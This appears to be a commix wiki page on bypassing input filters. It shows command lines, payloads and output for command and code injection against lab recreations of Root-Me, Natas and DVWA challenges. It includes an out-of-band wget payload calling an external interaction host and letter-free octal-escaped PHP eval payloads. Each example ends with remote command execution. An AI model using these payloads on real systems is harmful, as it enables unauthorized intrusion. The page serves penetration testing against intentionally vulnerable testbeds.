python commix.py --url="http://commix-testbed/scenarios/regular/POST/blind.php" \
--data="addr=127.0.0.1" --oobOutput:
[23:08:44] [info] Testing the out-of-band blind command injection technique, please wait...... (done)
[23:08:58] [info] POST parameter 'addr' appears to be injectable via out-of-band (HTTPS) blind command injection technique.
POST parameter 'addr' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
Identified the following injection point with a total of 13 HTTP(S) requests:
Parameter: addr (POST)
* Technique: Out-of-band (HTTPS)
* Type: Blind command injection
* Payload: IUO;wget -qO- https://vb6iktbm81odwp375p582gwedfqhtegrs.oast.fun/VNHJEJ$((1704+7184))VNHJEJ;
[23:08:58] [info] Fetching the target environment.
Web application technology: 'Apache 2.4.7, PHP 5.5.9'
Command shell type: 'POSIX'
[23:08:59] [info] Re-run with the '--os-shell' switch to access a command shell.
Note
- The public
oast.funserver is used by default; point--oob-serverat a self-hosted interactsh instance (with--oob-token, if it requires one) to keep interactions off a third party. -
--oob-transport=dnsfalls back to a name lookup where the target has no outbound HTTP(S) egress but its resolver still reaches the internet. See Techniques for how output is recovered over each transport.
An ip parameter is fed to ping after preg_replace() strips every character in
\ $ | ` ; & < > ] outright. That covers both separators (;, &, |) and, critically, both
of POSIX shell's command-substitution syntaxes at once: $(...) needs the $, and `...` needs
the backtick. A bare newline is not in the blacklist and still separates commands.
Every commix technique's own proof of execution nests one of those two syntaxes somewhere - results-
based to tell real execution from mere reflection, time-based and out-of-band to compute the delay or
the proof value they check for - so a filter blocking both defeats them all at once, tampers included:
a tamper rewrites syntax, it cannot invent a third command-substitution form POSIX shell does not have.
--skip-subst gives the time-based technique a plain, uncomputed sleep N instead, and turns its
false-positive litmus check into an if test COND / then sleep N / fi block - branching on a real
exit status with nothing but the test builtin and a newline, where [ COND ] followed by reading
$? would need a ] and a $ that this filter blocks just as readily.
python commix.py --url="http://commix-testbed/scenarios/ctf/rootme_filter_bypass.php" \
--data="ip=127.0.0.1*" --technique=t --skip-subst --os="Unix-like"PoC (verified against commix-testbed's own recreation of the challenge's filter, the live Root-Me target sitting behind its own anti-automation front door):
Identified the following injection point with a total of 85 HTTP(S) requests:
Parameter: ip (POST)
* Technique: Time-based
* Type: Blind command injection
* Payload: 127.0.0.1\nsleep 5
[09:58:55] [info] Fetching the target environment.
Command shell type: 'POSIX'
Note
-
--skip-substonly reaches this far: it proves the parameter is vulnerable, but reading a command's actual output back still needs a computed, character-by-character comparison - which still needs$(...).--os-cmdunder this filter fires the command for real (asleepconfirms the shell reached it) but cannot retrieve what it printed; the challenge's own solve exfiltrates a file as acurlrequest's own body instead of reading output back through the response at all. -
--technique=tnarrows the run to time-based, since results-based, boolean-based, file-based and out-of-band all still depend on a working command substitution and fail cleanly here. - See Command injection testbeds for the original challenge link.
A code parameter is handed straight to eval() once preg_match('/[a-zA-Z]/', $code) finds nothing
- rejecting the request outright if it contains any letter at all. Digits,
$,_, quotes and backticks all pass through untouched.
No existing tamper reached this: every one of them names a function or a keyword somewhere in what it
writes, and a filter blocking every letter catches the name itself, not just the syntax around it.
phpnoletters reaches PHP's own execution functions a different way - a double-quoted (or backtick)
string's own \NNN octal escapes decode only once eval() is already running the code, by which
point the filter has long since looked at, and passed, four digits and a backslash. call_user_func,
itself spelled the same way, calls the function that name resolves to without ever writing system or
exec as literal letters. print and eval are language constructs rather than functions, so nothing
dynamic can call them by name either - the wrapper classic.py's payloads put around a result is rebuilt
through printf instead.
python commix.py --url="http://commix-testbed/scenarios/ctf/rootme_eval_hard.php?code=___" --eval=php --tamper=phpnoletters --os-cmd="id"PoC (verified against commix-testbed's own recreation of the challenge's filter, the live Root-Me target sitting behind its own anti-automation front door):
Identified the following injection point with a total of 55 HTTP(S) requests:
Parameter: code (GET)
* Technique: Results-based
* Type: Classic code injection
* Payload: ___.($_1="\143\141\154\154_\165\163\145\162_\146\165\156\143")&&$_1("\160\162\151\156\164\146","\045\163",`\145\143\150\157 \120\114\125\113\110\123`.`\145\143\150\157 $((68+43))`.`\145\143\150\157 \120\114\125\113\110\123`.`\145\143\150\157 \120\114\125\113\110\123`);
* Technique: Boolean-based
* Type: Blind code injection
* Payload: ___.(([$_1="\143\141\154\154_\165\163\145\162_\146\165\156\143",$_1("\163\164\162\154\145\156",[$_1="\143\141\154\154_\165\163\145\162_\146\165\156\143",$_1("\162\164\162\151\155",`\145\143\150\157 \117\122\125\101\113\105`)][1])][1]==6)?"":9256)
* Technique: Time-based
* Type: Blind code injection
* Payload: ___.($_1="\143\141\154\154_\165\163\145\162_\146\165\156\143")&&$_1("\163\154\145\145\160",5*(6==[$_1="\143\141\154\154_\165\163\145\162_\146\165\156\143",$_1("\163\164\162\154\145\156",[$_1="\143\141\154\154_\165\163\145\162_\146\165\156\143",$_1("\162\164\162\151\155",`\145\143\150\157 \126\112\123\103\132\101`)][1])][1]))
* Technique: File-based
* Type: Blind code injection
* Payload: ___.`\145\143\150\157 \123\107\121\113\116\101 >/\166\141\162/\167\167\167/\150\164\155\154/\123\107\121\113\116\101.\164\170\164`
[19:50:04] [info] Fetching the target environment.
Web application technology: 'Apache 2.4.7, PHP 5.5.9'
Command shell type: 'POSIX'
[19:50:04] [info] Executing operating system command: 'id'.
Execution output: 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
Note
- The parameter's placeholder value matters here: a single
_collides with the_that already separates words throughout the target URL and the session's own temp-file names, corrupting the splice logic that inserts a payload into them.___(three underscores) does not occur anywhere else in that text, and still reads back as PHP's own "undefined constant, assumed as its own name" fallback - a bareword built entirely of underscores, with no letter for the filter to catch. - Results-based, boolean-based and time-based all confirm and extract correctly. Boolean-based and
time-based both read a length back through
strlen(rtrim(...))- a valuecall_user_funchas to answer with exactly, not merely succeed at, since it feeds a comparison rather than running for its own sake. Hiding it behind&&the way an execution function is hidden throws that value away (&&answers only true or false, never either side's own value), silently comparing "did the call succeed" against every candidate length at once -[$_1=name,$_1(args)][1]is used there instead, an array literal built and indexed so the second element is the call's own answer. - Boolean-based's own false answer is a fixed, letter-free value in place of
exit()- not a fatal error whereexit()would have been, which answers with an HTTP 500 that commix's own request layer reads as the request having failed, never handing the oracle a page to compare either way. - See Command injection testbeds for the original challenge link.
A needle parameter is rejected outright by preg_match('/[;|&'"]/', $key)if it contains a semicolon, pipe, ampersand, backtick or either kind of quote. What survives reachespassthru("grep -i "$key" dictionary.txt")- already sitting inside the sink's own double quotes.$, (, )and>` all pass through untouched.
Nothing here needs a tamper: bash expands $(...) command substitution inside a double-quoted string
before the command that string belongs to ever runs, and none of the characters that syntax needs are
on the blacklist. Searching the dictionary for a command's own output answers nothing directly - a
random secret is never going to be a dictionary word - but a command that redirects its output to a
file instead of returning it leaves the substitution empty (an empty search matches most of the
wordlist, which nothing here reads), while the real answer waits on disk under a name the request
already knows. That is commix's own results-based/file-based technique already, once the payload
is wrapped in the one syntax this filter still allows.
python commix.py --url="http://commix-testbed/scenarios/ctf/natas16_dictionary_search.php?needle=___" --prefix='$(' --suffix=')' --technique=f --web-root=/var/www/html/ --os-cmd="id"PoC (verified against commix-testbed's own recreation of the challenge's filter and dictionary, the live Natas target needing credentials from the level before it):
Identified the following injection point with a total of 8 HTTP(S) requests:
Parameter: needle (GET)
* Technique: File-based
* Type: Blind command injection
[info] Executing operating system command: 'id'.
Execution output: 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
Note
-
--technique=fhas to be explicit: left to pick for itself, commix reaches for time-based or a temp-file-backed variant first, and both of those measure a captured value throughtr,awkand a re-quotedecho- none of which this filter's quote rule survives. Plain file-based writes straight to a path under--web-rootand reads it back over HTTP, needing no quote at all. -
--web-roothas to name a path with no character of its own that the target's shell would choke on - the same rule commix's own payload is built under. - See Command injection testbeds for the original challenge link.
An ip parameter reaches shell_exec('ping -c 4 ' . $target) once a blacklist has stripped
& ; - $ ( ) ` , || and | (a pipe immediately followed by a space) out of it - by exact
substring, not by character class, and by silent removal rather than rejecting the request.
The blacklist matches "| " as one two-character string, not the pipe on its own - a bare pipe with
no space right after it, or a newline (never named at all), still chains a second command exactly as
well as the separators it does block. The harder edge is that - and $ are stripped everywhere,
not just where a separator would sit: - breaks test's own -eq/-ne, which is what commix's
false-positive check uses to tell a real timing difference from noise, reading test 20 -eq 20 back
as test 20 eq 20 - a syntax error - on every single attempt. dashlesstest rewrites that comparison
as =/!= instead, which needs no - and reads the identical result for the plain, unpadded decimal
integers commix always compares this way. $ being blocked the same way rules out every technique
that reads a command's output back through a captured shell variable; plain file-based writes straight
to a file and rereads it over HTTP, needing neither character.
python commix.py --url="http://commix-testbed/scenarios/ctf/dvwa_command_injection.php" --data="ip=127.0.0.1" --skip-subst --skip-calc --tamper=dashlesstest --technique=f --web-root=/var/www/html/ --os-cmd="id"PoC (verified against commix-testbed's own recreation of DVWA's own "high" security level filter):
Identified the following injection point with a total of 94 HTTP(S) requests:
Parameter: ip (POST)
* Technique: File-based
* Type: Blind command injection
* Payload: KXQ|echo RSFMOZ >/var/www/html/RSFMOZ.txt|:
[info] Executing operating system command: 'id'.
Execution output: 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
Note
-
--web-roothas to name a path free of every character the blacklist strips - a hyphen anywhere in that path is removed the same way one in the payload is, corrupting the write target itself rather than the command run against it. - DVWA's own "low" and "medium" levels need no option here at all: "low" filters nothing, and
"medium" only strips the literal strings
&∧, leaving a bare&, a bare|and every command-substitution syntax untouched. - See Command injection testbeds for the original challenge link.
At the right side panel, you can find detailed information about Commix Project.
- Usage - Exhaustive breakdown of all options and switches together with examples
- Techniques - Techniques supported by commix
- Download and update - Keep it up-to-date
- Module development - Comprehensive guide for extending commix by developing custom modules
- Third party libraries - Breakdown of third-party components utilized in commix
- License - Copyright information
- Usage examples - Real-world examples of using commix across vulnerable applications
- Filters bypass examples - Payloads and techniques used to evade input filters
- Getting shells - Examples of using commix to gain shell
- Presentations - Conference talks, demos, and public presentations where commix has been featured or discussed.
- Screenshots - Visual examples of commix in action
- Third party references - References to commix in books, articles, research papers, blog posts, etc
- Command injection testbeds - A curated list of intentionally vulnerable web applications and platforms for safely testing commix